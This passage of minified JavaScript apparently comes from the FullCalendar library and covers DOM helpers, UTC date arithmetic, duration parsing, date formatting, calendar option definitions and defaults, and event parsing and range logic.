W=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n(t,e),t.prototype.render=function(){return g("div",{})},t.prototype.componentDidMount=function(){this.setState({})},t}(E);var V=function(){function e(e,t){this.context=e,this.internalEventSource=t}return e.prototype.remove=function(){this.context.dispatch({type:"REMOVE_EVENT_SOURCE",sourceId:this.internalEventSource.sourceId})},e.prototype.refetch=function(){this.context.dispatch({type:"FETCH_EVENT_SOURCES",sourceIds:[this.internalEventSource.sourceId]})},Object.defineProperty(e.prototype,"id",{get:function(){return this.internalEventSource.publicId},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"url",{get:function(){return this.internalEventSource.meta.url},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"format",{get:function(){return this.internalEventSource.meta.format},enumerable:!1,configurable:!0}),e}();function F(e){e.parentNode&&e.parentNode.removeChild(e)}function z(e,t){if(e.closest)return e.closest(t);if(!document.documentElement.contains(e))return null;do{if(B(e,t))return e;e=e.parentElement||e.parentNode}while(null!==e&&1===e.nodeType);return null}function B(e,t){return(e.matches||e.matchesSelector||e.msMatchesSelector).call(e,t)}function j(e,t){for(var n=e instanceof HTMLElement?[e]:e,r=[],o=0;o<n.length;o+=1)for(var i=n[o].querySelectorAll(t),a=0;a<i.length;a+=1)r.push(i[a]);return r}var G=/(top|left|right|bottom|width|height)$/i;function q(e,t){for(var n in t)Y(e,n,t[n])}function Y(e,t,n){null==n?e.style[t]="":"number"==typeof n&&G.test(t)?e.style[t]=n+"px":e.style[t]=n}function Z(e){e.preventDefault()}function X(e,t){return function(n){var r=z(n.target,e);r&&t.call(r,n,r)}}function K(e,t,n,r){var o=X(n,r);return e.addEventListener(t,o),function(){e.removeEventListener(t,o)}}var J=["webkitTransitionEnd","otransitionend","oTransitionEnd","msTransitionEnd","transitionend"];function $(e,t){var n=function(r){t(r),J.forEach((function(t){e.removeEventListener(t,n)}))};J.forEach((function(t){e.addEventListener(t,n)}))}var Q=0;function ee(){return String(Q+=1)}function te(){document.body.classList.add("fc-not-allowed")}function ne(){document.body.classList.remove("fc-not-allowed")}function re(e){e.classList.add("fc-unselectable"),e.addEventListener("selectstart",Z)}function oe(e){e.classList.remove("fc-unselectable"),e.removeEventListener("selectstart",Z)}function ie(e){e.addEventListener("contextmenu",Z)}function ae(e){e.removeEventListener("contextmenu",Z)}function se(e){var t,n,r=[],o=[];for("string"==typeof e?o=e.split(/\s*,\s*/):"function"==typeof e?o=[e]:Array.isArray(e)&&(o=e),t=0;t<o.length;t+=1)"string"==typeof(n=o[t])?r.push("-"===n.charAt(0)?{field:n.substring(1),order:-1}:{field:n,order:1}):"function"==typeof n&&r.push({func:n});return r}function le(e,t,n){var r,o;for(r=0;r<n.length;r+=1)if(o=ue(e,t,n[r]))return o;return 0}function ue(e,t,n){return n.func?n.func(e,t):ce(e[n.field],t[n.field])*(n.order||1)}function ce(e,t){return e||t?null==t?-1:null==e?1:"string"==typeof e||"string"==typeof t?String(e).localeCompare(String(t)):e-t:0}function de(e,t){var n=String(e);return"000".substr(0,t-n.length)+n}function pe(e,t){return e-t}function fe(e){return e%1==0}function he(e){var t=e.querySelector(".fc-scrollgrid-shrink-frame"),n=e.querySelector(".fc-scrollgrid-shrink-cushion");if(!t)throw new Error("needs fc-scrollgrid-shrink-frame className");if(!n)throw new Error("needs fc-scrollgrid-shrink-cushion className");return e.getBoundingClientRect().width-t.getBoundingClientRect().width+n.getBoundingClientRect().width}var ve=["sun","mon","tue","wed","thu","fri","sat"];function ge(e,t){var n=xe(e);return n[2]+=7*t,_e(n)}function me(e,t){var n=xe(e);return n[2]+=t,_e(n)}function ye(e,t){var n=xe(e);return n[6]+=t,_e(n)}function Ee(e,t){return Se(e,t)/7}function Se(e,t){return(t.valueOf()-e.valueOf())/864e5}function De(e,t){var n=we(e),r=we(t);return{years:0,months:0,days:Math.round(Se(n,r)),milliseconds:t.valueOf()-r.valueOf()-(e.valueOf()-n.valueOf())}}function be(e,t){var n=Ce(e,t);return null!==n&&n%7==0?n/7:null}function Ce(e,t){return Pe(e)===Pe(t)?Math.round(Se(e,t)):null}function we(e){return _e([e.getUTCFullYear(),e.getUTCMonth(),e.getUTCDate()])}function Re(e,t,n,r){var o=_e([t,0,1+Te(t,n,r)]),i=we(e),a=Math.round(Se(o,i));return Math.floor(a/7)+1}function Te(e,t,n){var r=7+t-n;return-((7+_e([e,0,r]).getUTCDay()-t)%7)+r-1}function ke(e){return[e.getFullYear(),e.getMonth(),e.getDate(),e.getHours(),e.getMinutes(),e.getSeconds(),e.getMilliseconds()]}function Me(e){return new Date(e[0],e[1]||0,null==e[2]?1:e[2],e[3]||0,e[4]||0,e[5]||0)}function xe(e){return[e.getUTCFullYear(),e.getUTCMonth(),e.getUTCDate(),e.getUTCHours(),e.getUTCMinutes(),e.getUTCSeconds(),e.getUTCMilliseconds()]}function _e(e){return 1===e.length&&(e=e.concat([0])),new Date(Date.UTC.apply(Date,e))}function Ie(e){return!isNaN(e.valueOf())}function Pe(e){return 1e3*e.getUTCHours()*60*60+1e3*e.getUTCMinutes()*60+1e3*e.getUTCSeconds()+e.getUTCMilliseconds()}function Ne(e,t,n,r){return{instanceId:ee(),defId:e,range:t,forcedStartTzo:null==n?null:n,forcedEndTzo:null==r?null:r}}var He=Object.prototype.hasOwnProperty;function Oe(e,t){var n={};if(t)for(var r in t){for(var o=[],i=e.length-1;i>=0;i-=1){var a=e[i][r];if("object"==typeof a&&a)o.unshift(a);else if(void 0!==a){n[r]=a;break}}o.length&&(n[r]=Oe(o))}for(i=e.length-1;i>=0;i-=1){var s=e[i];for(var l in s)l in n||(n[l]=s[l])}return n}function Ae(e,t){var n={};for(var r in e)t(e[r],r)&&(n[r]=e[r]);return n}function Ue(e,t){var n={};for(var r in e)n[r]=t(e[r],r);return n}function Le(e){for(var t={},n=0,r=e;n<r.length;n++){t[r[n]]=!0}return t}function We(e){var t=[];for(var n in e)t.push(e[n]);return t}function Ve(e,t){if(e===t)return!0;for(var n in e)if(He.call(e,n)&&!(n in t))return!1;for(var n in t)if(He.call(t,n)&&e[n]!==t[n])return!1;return!0}function Fe(e,t){var n=[];for(var r in e)He.call(e,r)&&(r in t||n.push(r));for(var r in t)He.call(t,r)&&e[r]!==t[r]&&n.push(r);return n}function ze(e,t,n){if(void 0===n&&(n={}),e===t)return!0;for(var r in t)if(!(r in e)||!Be(e[r],t[r],n[r]))return!1;for(var r in e)if(!(r in t))return!1;return!0}function Be(e,t,n){return e===t||!0===n||!!n&&n(e,t)}function je(e,t,n,r){void 0===t&&(t=0),void 0===r&&(r=1);var o=[];null==n&&(n=Object.keys(e).length);for(var i=t;i<n;i+=r){var a=e[i];void 0!==a&&o.push(a)}return o}function Ge(e,t,n){var r=n.dateEnv,o=n.pluginHooks,i=n.options,a=e.defs,s=e.instances;for(var l in s=Ae(s,(function(e){return!a[e.defId].recurringDef})),a){var u=a[l];if(u.recurringDef){var c=u.recurringDef.duration;c||(c=u.allDay?i.defaultAllDayEventDuration:i.defaultTimedEventDuration);for(var d=0,p=qe(u,c,t,r,o.recurringTypes);d<p.length;d++){var f=p[d],h=Ne(l,{start:f,end:r.add(f,c)});s[h.instanceId]=h}}}return{defs:a,instances:s}}function qe(e,t,n,r,o){var i=o[e.recurringDef.typeId].expand(e.recurringDef.typeData,{start:r.subtract(n.start,t),end:n.end},r);return e.allDay&&(i=i.map(we)),i}var Ye=["years","months","days","milliseconds"],Ze=/^(-?)(?:(\d+)\.)?(\d+):(\d\d)(?::(\d\d)(?:\.(\d\d\d))?)?/;function Xe(e,t){var n;return"string"==typeof e?function(e){var t=Ze.exec(e);if(t){var n=t[1]?-1:1;return{years:0,months:0,days:n*(t[2]?parseInt(t[2],10):0),milliseconds:n*(60*(t[3]?parseInt(t[3],10):0)*60*1e3+60*(t[4]?parseInt(t[4],10):0)*1e3+1e3*(t[5]?parseInt(t[5],10):0)+(t[6]?parseInt(t[6],10):0))}}return null}(e):"object"==typeof e&&e?Ke(e):"number"==typeof e?Ke(((n={})[t||"milliseconds"]=e,n)):null}function Ke(e){var t={years:e.years||e.year||0,months:e.months||e.month||0,days:e.days||e.day||0,milliseconds:60*(e.hours||e.hour||0)*60*1e3+60*(e.minutes||e.minute||0)*1e3+1e3*(e.seconds||e.second||0)+(e.milliseconds||e.millisecond||e.ms||0)},n=e.weeks||e.week;return n&&(t.days+=7*n,t.specifiedWeeks=!0),t}function Je(e,t){return{years:e.years+t.years,months:e.months+t.months,days:e.days+t.days,milliseconds:e.milliseconds+t.milliseconds}}function $e(e,t){return{years:e.years*t,months:e.months*t,days:e.days*t,milliseconds:e.milliseconds*t}}function Qe(e){return et(e)/864e5}function et(e){return 31536e6*e.years+2592e6*e.months+864e5*e.days+e.milliseconds}function tt(e,t){for(var n=null,r=0;r<Ye.length;r+=1){var o=Ye[r];if(t[o]){var i=e[o]/t[o];if(!fe(i)||null!==n&&n!==i)return null;n=i}else if(e[o])return null}return n}function nt(e){var t=e.milliseconds;if(t){if(t%1e3!=0)return{unit:"millisecond",value:t};if(t%6e4!=0)return{unit:"second",value:t/1e3};if(t%36e5!=0)return{unit:"minute",value:t/6e4};if(t)return{unit:"hour",value:t/36e5}}return e.days?e.specifiedWeeks&&e.days%7==0?{unit:"week",value:e.days/7}:{unit:"day",value:e.days}:e.months?{unit:"month",value:e.months}:e.years?{unit:"year",value:e.years}:{unit:"millisecond",value:0}}function rt(e){return e.toISOString().replace(/T.*$/,"")}function ot(e){return de(e.getUTCHours(),2)+":"+de(e.getUTCMinutes(),2)+":"+de(e.getUTCSeconds(),2)}function it(e,t){void 0===t&&(t=!1);var n=e<0?"-":"+",r=Math.abs(e),o=Math.floor(r/60),i=Math.round(r%60);return t?n+de(o,2)+":"+de(i,2):"GMT"+n+o+(i?":"+de(i,2):"")}function at(e,t,n){if(e===t)return!0;var r,o=e.length;if(o!==t.length)return!1;for(r=0;r<o;r+=1)if(!(n?n(e[r],t[r]):e[r]===t[r]))return!1;return!0}function st(e,t,n){var r,o;return function(){for(var i=[],a=0;a<arguments.length;a++)i[a]=arguments[a];if(r){if(!at(r,i)){n&&n(o);var s=e.apply(this,i);t&&t(s,o)||(o=s)}}else o=e.apply(this,i);return r=i,o}}function lt(e,t,n){var r,o,i=this;return function(a){if(r){if(!Ve(r,a)){n&&n(o);var s=e.call(i,a);t&&t(s,o)||(o=s)}}else o=e.call(i,a);return r=a,o}}var ut={week:3,separator:0,omitZeroMinute:0,meridiem:0,omitCommas:0},ct={timeZoneName:7,era:6,year:5,month:4,day:2,weekday:2,hour:1,minute:1,second:1},dt=/\s*([ap])\.?m\.?/i,pt=/,/g,ft=/\s+/g,ht=/\u200e/g,vt=/UTC|GMT/,gt=function(){function e(e){var t={},n={},r=0;for(var o in e)o in ut?(n[o]=e[o],r=Math.max(ut[o],r)):(t[o]=e[o],o in ct&&(r=Math.max(ct[o],r)));this.standardDateProps=t,this.extendedSettings=n,this.severity=r,this.buildFormattingFunc=st(mt)}return e.prototype.format=function(e,t){return this.buildFormattingFunc(this.standardDateProps,this.extendedSettings,t)(e)},e.prototype.formatRange=function(e,t,n,r){var o=this.standardDateProps,i=this.extendedSettings,a=function(e,t,n){if(n.getMarkerYear(e)!==n.getMarkerYear(t))return 5;if(n.getMarkerMonth(e)!==n.getMarkerMonth(t))return 4;if(n.getMarkerDay(e)!==n.getMarkerDay(t))return 2;if(Pe(e)!==Pe(t))return 1;return 0}(e.marker,t.marker,n.calendarSystem);if(!a)return this.format(e,n);var s=a;!(s>1)||"numeric"!==o.year&&"2-digit"!==o.year||"numeric"!==o.month&&"2-digit"!==o.month||"numeric"!==o.day&&"2-digit"!==o.day||(s=1);var l=this.format(e,n),u=this.format(t,n);if(l===u)return l;var c=mt(function(e,t){var n={};for(var r in e)(!(r in ct)||ct[r]<=t)&&(n[r]=e[r]);return n}(o,s),i,n),d=c(e),p=c(t),f=function(e,t,n,r){var o=0;for(;o<e.length;){var i=e.indexOf(t,o);if(-1===i)break;var a=e.substr(0,i);o=i+t.length;for(var s=e.substr(o),l=0;l<n.length;){var u=n.indexOf(r,l);if(-1===u)break;var c=n.substr(0,u);l=u+r.length;var d=n.substr(l);if(a===c&&s===d)return{before:a,after:s}}}return null}(l,d,u,p),h=i.separator||r||n.defaultSeparator||"";return f?f.before+d+h+p+f.after:l+h+u},e.prototype.getLargestUnit=function(){switch(this.severity){case 7:case 6:case 5:return"year";case 4:return"month";case 3:return"week";case 2:return"day";default:return"time"}},e}();function mt(e,t,n){var o=Object.keys(e).length;return 1===o&&"short"===e.timeZoneName?function(e){return it(e.timeZoneOffset)}:0===o&&t.week?function(e){return function(e,t,n,r){var o=[];"narrow"===r?o.push(t):"short"===r&&o.push(t," ");o.push(n.simpleNumberFormat.format(e)),"rtl"===n.options.direction&&o.reverse();return o.join("")}(n.computeWeekNumber(e.marker),n.weekText,n.locale,t.week)}:function(e,t,n){e=r({},e),t=r({},t),function(e,t){e.timeZoneName&&(e.hour||(e.hour="2-digit"),e.minute||(e.minute="2-digit"));"long"===e.timeZoneName&&(e.timeZoneName="short");t.omitZeroMinute&&(e.second||e.millisecond)&&delete t.omitZeroMinute}(e,t),e.timeZone="UTC";var o,i=new Intl.DateTimeFormat(n.locale.codes,e);if(t.omitZeroMinute){var a=r({},e);delete a.minute,o=new Intl.DateTimeFormat(n.locale.codes,a)}return function(r){var a=r.marker;return function(e,t,n,r,o){e=e.replace(ht,""),"short"===n.timeZoneName&&(e=function(e,t){var n=!1;e=e.replace(vt,(function(){return n=!0,t})),n||(e+=" "+t);return e}(e,"UTC"===o.timeZone||null==t.timeZoneOffset?"UTC":it(t.timeZoneOffset)));r.omitCommas&&(e=e.replace(pt,"").trim());r.omitZeroMinute&&(e=e.replace(":00",""));!1===r.meridiem?e=e.replace(dt,"").trim():"narrow"===r.meridiem?e=e.replace(dt,(function(e,t){return t.toLocaleLowerCase()})):"short"===r.meridiem?e=e.replace(dt,(function(e,t){return t.toLocaleLowerCase()+"m"})):"lowercase"===r.meridiem&&(e=e.replace(dt,(function(e){return e.toLocaleLowerCase()})));return e=(e=e.replace(ft," ")).trim()}((o&&!a.getUTCMinutes()?o:i).format(a),r,e,t,n)}}(e,t,n)}function yt(e,t){var n=t.markerToArray(e.marker);return{marker:e.marker,timeZoneOffset:e.timeZoneOffset,array:n,year:n[0],month:n[1],day:n[2],hour:n[3],minute:n[4],second:n[5],millisecond:n[6]}}function Et(e,t,n,r){var o=yt(e,n.calendarSystem);return{date:o,start:o,end:t?yt(t,n.calendarSystem):null,timeZone:n.timeZone,localeCodes:n.locale.codes,defaultSeparator:r||n.defaultSeparator}}var St=function(){function e(e){this.cmdStr=e}return e.prototype.format=function(e,t,n){return t.cmdFormatter(this.cmdStr,Et(e,null,t,n))},e.prototype.formatRange=function(e,t,n,r){return n.cmdFormatter(this.cmdStr,Et(e,t,n,r))},e}(),Dt=function(){function e(e){this.func=e}return e.prototype.format=function(e,t,n){return this.func(Et(e,null,t,n))},e.prototype.formatRange=function(e,t,n,r){return this.func(Et(e,t,n,r))},e}();function bt(e){return"object"==typeof e&&e?new gt(e):"string"==typeof e?new St(e):"function"==typeof e?new Dt(e):null}var Ct={navLinkDayClick:Pt,navLinkWeekClick:Pt,duration:Xe,bootstrapFontAwesome:Pt,buttonIcons:Pt,customButtons:Pt,defaultAllDayEventDuration:Xe,defaultTimedEventDuration:Xe,nextDayThreshold:Xe,scrollTime:Xe,slotMinTime:Xe,slotMaxTime:Xe,dayPopoverFormat:bt,slotDuration:Xe,snapDuration:Xe,headerToolbar:Pt,footerToolbar:Pt,defaultRangeSeparator:String,titleRangeSeparator:String,forceEventDuration:Boolean,dayHeaders:Boolean,dayHeaderFormat:bt,dayHeaderClassNames:Pt,dayHeaderContent:Pt,dayHeaderDidMount:Pt,dayHeaderWillUnmount:Pt,dayCellClassNames:Pt,dayCellContent:Pt,dayCellDidMount:Pt,dayCellWillUnmount:Pt,initialView:String,aspectRatio:Number,weekends:Boolean,weekNumberCalculation:Pt,weekNumbers:Boolean,weekNumberClassNames:Pt,weekNumberContent:Pt,weekNumberDidMount:Pt,weekNumberWillUnmount:Pt,editable:Boolean,viewClassNames:Pt,viewDidMount:Pt,viewWillUnmount:Pt,nowIndicator:Boolean,nowIndicatorClassNames:Pt,nowIndicatorContent:Pt,nowIndicatorDidMount:Pt,nowIndicatorWillUnmount:Pt,showNonCurrentDates:Boolean,lazyFetching:Boolean,startParam:String,endParam:String,timeZoneParam:String,timeZone:String,locales:Pt,locale:Pt,themeSystem:String,dragRevertDuration:Number,dragScroll:Boolean,allDayMaintainDuration:Boolean,unselectAuto:Boolean,dropAccept:Pt,eventOrder:se,handleWindowResize:Boolean,windowResizeDelay:Number,longPressDelay:Number,eventDragMinDistance:Number,expandRows:Boolean,height:Pt,contentHeight:Pt,direction:String,weekNumberFormat:bt,eventResizableFromStart:Boolean,displayEventTime:Boolean,displayEventEnd:Boolean,weekText:String,progressiveEventRendering:Boolean,businessHours:Pt,initialDate:Pt,now:Pt,eventDataTransform:Pt,stickyHeaderDates:Pt,stickyFooterScrollbar:Pt,viewHeight:Pt,defaultAllDay:Boolean,eventSourceFailure:Pt,eventSourceSuccess:Pt,eventDisplay:String,eventStartEditable:Boolean,eventDurationEditable:Boolean,eventOverlap:Pt,eventConstraint:Pt,eventAllow:Pt,eventBackgroundColor:String,eventBorderColor:String,eventTextColor:String,eventColor:String,eventClassNames:Pt,eventContent:Pt,eventDidMount:Pt,eventWillUnmount:Pt,selectConstraint:Pt,selectOverlap:Pt,selectAllow:Pt,droppable:Boolean,unselectCancel:String,slotLabelFormat:Pt,slotLaneClassNames:Pt,slotLaneContent:Pt,slotLaneDidMount:Pt,slotLaneWillUnmount:Pt,slotLabelClassNames:Pt,slotLabelContent:Pt,slotLabelDidMount:Pt,slotLabelWillUnmount:Pt,dayMaxEvents:Pt,dayMaxEventRows:Pt,dayMinWidth:Number,slotLabelInterval:Xe,allDayText:String,allDayClassNames:Pt,allDayContent:Pt,allDayDidMount:Pt,allDayWillUnmount:Pt,slotMinWidth:Number,navLinks:Boolean,eventTimeFormat:bt,rerenderDelay:Number,moreLinkText:Pt,selectMinDistance:Number,selectable:Boolean,selectLongPressDelay:Number,eventLongPressDelay:Number,selectMirror:Boolean,eventMinHeight:Number,slotEventOverlap:Boolean,plugins:Pt,firstDay:Number,dayCount:Number,dateAlignment:String,dateIncrement:Xe,hiddenDays:Pt,monthMode:Boolean,fixedWeekCount:Boolean,validRange:Pt,visibleRange:Pt,titleFormat:Pt,noEventsText:String},wt={eventDisplay:"auto",defaultRangeSeparator:" - ",titleRangeSeparator:" – ",defaultTimedEventDuration:"01:00:00",defaultAllDayEventDuration:{day:1},forceEventDuration:!1,nextDayThreshold:"00:00:00",dayHeaders:!0,initialView:"",aspectRatio:1.35,headerToolbar:{start:"title",center:"",end:"today prev,next"},weekends:!0,weekNumbers:!1,weekNumberCalculation:"local",editable:!1,nowIndicator:!1,scrollTime:"06:00:00",slotMinTime:"00:00:00",slotMaxTime:"24:00:00",showNonCurrentDates:!0,lazyFetching:!0,startParam:"start",endParam:"end",timeZoneParam:"timeZone",timeZone:"local",locales:[],locale:"",themeSystem:"standard",dragRevertDuration:500,dragScroll:!0,allDayMaintainDuration:!1,unselectAuto:!0,dropAccept:"*",eventOrder:"start,-duration,allDay,title",dayPopoverFormat:{month:"long",day:"numeric",year:"numeric"},handleWindowResize:!0,windowResizeDelay:100,longPressDelay:1e3,eventDragMinDistance:5,expandRows:!1,navLinks:!1,selectable:!1},Rt={datesSet:Pt,eventsSet:Pt,eventAdd:Pt,eventChange:Pt,eventRemove:Pt,windowResize:Pt,eventClick:Pt,eventMouseEnter:Pt,eventMouseLeave:Pt,select:Pt,unselect:Pt,loading:Pt,_unmount:Pt,_beforeprint:Pt,_afterprint:Pt,_noEventDrop:Pt,_noEventResize:Pt,_resize:Pt,_scrollRequest:Pt},Tt={buttonText:Pt,views:Pt,plugins:Pt,initialEvents:Pt,events:Pt,eventSources:Pt},kt={headerToolbar:Mt,footerToolbar:Mt,buttonText:Mt,buttonIcons:Mt};function Mt(e,t){return"object"==typeof e&&"object"==typeof t&&e&&t?Ve(e,t):e===t}var xt={type:String,component:Pt,buttonText:String,buttonTextKey:String,dateProfileGeneratorClass:Pt,usesMinMaxTime:Boolean,classNames:Pt,content:Pt,didMount:Pt,willUnmount:Pt};function _t(e){return Oe(e,kt)}function It(e,t){var n={},r={};for(var o in t)o in e&&(n[o]=t[o](e[o]));for(var o in e)o in t||(r[o]=e[o]);return{refined:n,extra:r}}function Pt(e){return e}function Nt(e,t,n,r){for(var o={defs:{},instances:{}},i=Kt(n),a=0,s=e;a<s.length;a++){var l=Zt(s[a],t,n,r,i);l&&Ht(l,o)}return o}function Ht(e,t){return void 0===t&&(t={defs:{},instances:{}}),t.defs[e.def.defId]=e.def,e.instance&&(t.instances[e.instance.instanceId]=e.instance),t}function Ot(e,t){var n=e.instances[t];if(n){var r=e.defs[n.defId],o=Lt(e,(function(e){return t=r,n=e,Boolean(t.groupId&&t.groupId===n.groupId);var t,n}));return o.defs[r.defId]=r,o.instances[n.instanceId]=n,o}return{defs:{},instances:{}}}function At(){return{defs:{},instances:{}}}function Ut(e,t){return{defs:r(r({},e.defs),t.defs),instances:r(r({},e.instances),t.instances)}}function Lt(e,t){var n=Ae(e.defs,t),r=Ae(e.instances,(function(e){return n[e.defId]}));return{defs:n,instances:r}}function Wt(e){return Array.isArray(e)?e:"string"==typeof e?e.split(/\s+/):[]}var Vt={display:String,editable:Boolean,startEditable:Boolean,durationEditable:Boolean,constraint:Pt,overlap:Pt,allow:Pt,className:Wt,classNames:Wt,color:String,backgroundColor:String,borderColor:String,textColor:String},Ft={display:null,startEditable:null,durationEditable:null,constraints:[],overlap:null,allows:[],backgroundColor:"",borderColor:"",textColor:"",classNames:[]};function zt(e,t){var n=function(e,t){return Array.isArray(e)?Nt(e,null,t,!0):"object"==typeof e&&e?Nt([e],null,t,!0):null!=e?String(e):null}(e.constraint,t);return{display:e.display||null,startEditable:null!=e.startEditable?e.startEditable:e.editable,durationEditable:null!=e.durationEditable?e.durationEditable:e.editable,constraints:null!=n?[n]:[],overlap:null!=e.overlap?e.overlap:null,allows:null!=e.allow?[e.allow]:[],backgroundColor:e.backgroundColor||e.color||"",borderColor:e.borderColor||e.color||"",textColor:e.textColor||"",classNames:(e.className||[]).concat(e.classNames||[])}}function Bt(e){return e.reduce(jt,Ft)}function jt(e,t){return{display:null!=t.display?t.display:e.display,startEditable:null!=t.startEditable?t.startEditable:e.startEditable,durationEditable:null!=t.durationEditable?t.durationEditable:e.durationEditable,constraints:e.constraints.concat(t.constraints),overlap:"boolean"==typeof t.overlap?t.overlap:e.overlap,allows:e.allows.concat(t.allows),backgroundColor:t.backgroundColor||e.backgroundColor,borderColor:t.borderColor||e.borderColor,textColor:t.textColor||e.textColor,classNames:e.classNames.concat(t.classNames)}}var Gt={id:String,groupId:String,title:String,url:String},qt={start:Pt,end:Pt,date:Pt,allDay:Boolean},Yt=r(r(r({},Gt),qt),{extendedProps:Pt});function Zt(e,t,n,r,o){void 0===o&&(o=Kt(n));var i=Xt(e,n,o),a=i.refined,s=i.extra,l=function(e,t){var n=null;e&&(n=e.defaultAllDay);null==n&&(n=t.options.defaultAllDay);return n}(t,n),u=function(e,t,n,r){for(var o=0;o<r.length;o+=1){var i=r[o].parse(e,n);if(i){var a=e.allDay;return null==a&&null==(a=t)&&null==(a=i.allDayGuess)&&(a=!1),{allDay:a,duration:i.duration,typeData:i.typeData,typeId:o}}}return null}(a,l,n.dateEnv,n.pluginHooks.recurringTypes);if(u)return(c=Jt(a,s,t?t.sourceId:"",u.allDay,Boolean(u.duration),n)).recurringDef={typeId:u.typeId,typeData:u.typeData,duration:u.duration},{def:c,instance:null};var c,d=function(e,t,n,r){var o,i,a=e.allDay,s=null,l=!1,u=null,c=null!=e.start?e.start:e.date;if(o=n.dateEnv.createMarkerMeta(c))s=o.marker;else if(!r)return null;null!=e.end&&(i=n.dateEnv.createMarkerMeta(e.end));null==a&&(a=null!=t?t:(!o||o.isTimeUnspecified)&&(!i||i.isTimeUnspecified));a&&s&&(s=we(s));i&&(u=i.marker,a&&(u=we(u)),s&&u<=s&&(u=null));u?l=!0:r||(l=n.options.forceEventDuration||!1,u=n.dateEnv.add(s,a?n.options.defaultAllDayEventDuration:n.options.defaultTimedEventDuration));return{allDay:a,hasEnd:l,range:{start:s,end:u},forcedStartTzo:o?o.forcedTzo:null,forcedEndTzo:i?i.forcedTzo:null}}(a,l,n,r);return d?{def:c=Jt(a,s,t?t.sourceId:"",d.allDay,d.hasEnd,n),instance:Ne(c.defId,d.range,d.forcedStartTzo,d.forcedEndTzo)}:null}function Xt(e,t,n){return void 0===n&&(n=Kt(t)),It(e,n)}function Kt(e){return r(r(r({},Vt),Yt),e.pluginHooks.eventRefiners)}function Jt(e,t,n,o,i,a){for(var s={title:e.title||"",groupId:e.groupId||"",publicId:e.id||"",url:e.url||"",recurringDef:null,defId:ee(),sourceId:n,allDay:o,hasEnd:i,ui:zt(e,a),extendedProps:r(r({},e.extendedProps||{}),t)},l=0,u=a.pluginHooks.eventDefMemberAdders;l<u.length;l++){var c=u[l];r(s,c(e))}return Object.freeze(s.ui.classNames),Object.freeze(s.extendedProps),s}function $t(e){var t=Math.floor(Se(e.start,e.end))||1,n=we(e.start);return{start:n,end:me(n,t)}}function Qt(e,t){void 0===t&&(t=Xe(0));var n=null,r=null;if(e.end){r=we(e.end);var o=e.end.valueOf()-r.valueOf();o&&o>=et(t)&&(r=me(r,1))}return e.start&&(n=we(e.start),r&&r<=n&&(r=me(n,1))),{start:n,end:r}}function en(e){var t=Qt(e);return Se(t.start,t.end)>1}function tn(e,t,n,r){return"year"===r?Xe(n.diffWholeYears(e,t),"year"):"month"===r?Xe(n.diffWholeMonths(e,t),"month"):De(e,t)}function nn(e,t){var n,r,o=[],i=t.start;for(e.sort(rn),n=0;n<e.length;n+=1)(r=e[n]).start>i&&o.push({start:i,end:r.start}),r.end>i&&(i=r.end);return i<t.end&&o.push({start:i,end:t.end}),o}function rn(e,t){return e.start.valueOf()-t.start.valueOf()}function on(e,t){var n=e.start,r=e.end,o=null;return null!==t.start&&(n=null===n?t.start:new Date(Math.max(n.valueOf(),t.start.valueOf()))),null!=t.end&&(r=null===r?t.end:new Date(Math.min(r.valueOf(),t.end.valueOf()))),(null===n||null===r||n<r)&&(o={start:n,end:r}),o}function an(e,t){return(null===e.start?null:e.start.valueOf())===(null===t.start?null:t.start.valueOf())&&(null===e.end?null:e.end.valueOf())===(null===t.end?null:t.end.valueOf())}function sn(e,t){return(null===e.end||null===t.start||e.end>t.start)&&(null===e.start||null===t.end||e.start<t.end)}function ln(e,t){return(null===e.start||null!==t.start&&t.start>=e.start)&&(null===e.end||null!==t.end&&t.end<=e.end)}function un(e,t){return(null===e.start||t>=e.start)&&(null===e.end||t<e.end)}function cn(e,t,n,r){var o={},i={},a={},s=[],l=[],u=hn(e.defs,t);for(var c in e.defs){"inverse-background"===(f=u[(S=e.defs[c]).defId]).display&&(S.groupId?(o[S.groupId]=[],a[S.groupId]||(a[S.groupId]=S)):i[c]=[])}for(var d in e.instances){var p=e.instances[d],f=u[(S=e.defs[p.defId]).defId],h=p.range,v=!S.allDay&&r?Qt(h,r):h,g=on(v,n);g&&("inverse-background"===f.display?S.groupId?o[S.groupId].push(g):i[p.defId].push(g):"none"!==f.display&&("background"===f.display?s:l).push({def:S,ui:f,instance:p,range:g,isStart:v.start&&v.start.valueOf()===g.start.valueOf(),isEnd:v.end&&v.end.valueOf()===g.end.valueOf()}))}for(var m in o)for(var y=0,E=nn(o[m],n);y<E.length;y++){var S,D=E[y];f=u[(S=a[m]).defId];s.push({def:S,ui:f,instance:null,range:D,isStart:!1,isEnd:!1})}for(var c in i)for(var b=0,C=nn(i[c],n);b<C.length;b++){D=C[b];s.push({def:e.defs[c],ui:u[c],instance:null,range:D,isStart:!1,isEnd:!1})}return{bg:s,fg:l}}function dn(e){return"background"===e.ui.display||"inverse-background"===e.ui.display}function pn(e,t){e.fcSeg=t}function fn(e){return e.fcSeg||e.parentNode.fcSeg||null}function hn(e,t){return Ue(e,(function(e){return vn(e,t)}))}function vn(e,t){var n=[];return t[""]&&n.push(t[""]),t[e.defId]&&n.push(t[e.defId]),n.push(e.ui),Bt(n)}function gn(e,t){var n=e.map(mn);return n.sort((function(e,n){return le(e,n,t)})),n.map((function(e){return e._seg}))}function mn(e){var t=e.eventRange,n=t.def,o=t.instance?t.instance.range:t.range,i=o.start?o.start.valueOf():0,a=o.end?o.end.valueOf():0;return r(r(r({},n.extendedProps),n),{id:n.publicId,start:i,end:a,duration:a-i,allDay:Number(n.allDay),_seg:e})}function yn(e,t){for(var n=t.pluginHooks.isDraggableTransformers,r=e.eventRange,o=r.def,i=r.ui,a=i.startEditable,s=0,l=n;s<l.length;s++){a=(0,l[s])(a,o,i,t)}return a}function En(e,t){return e.isStart&&e.eventRange.ui.durationEditable&&t.options.eventResizableFromStart}function Sn(e,t){return e.isEnd&&e.eventRange.ui.durationEditable}function Dn(e,t,n,r,o,i,a){var s=n.dateEnv,l=n.options,u=l.displayEventTime,c=l.displayEventEnd,d=e.eventRange.def,p=e.eventRange.instance;if(null==u&&(u=!1!==r),null==c&&(c=!1!==o),u&&!d.allDay&&(e.isStart||e.isEnd)){var f=i||(e.isStart?p.range.start:e.start||e.eventRange.range.start),h=a||(e.isEnd?p.range.end:e.end||e.eventRange.range.end);return 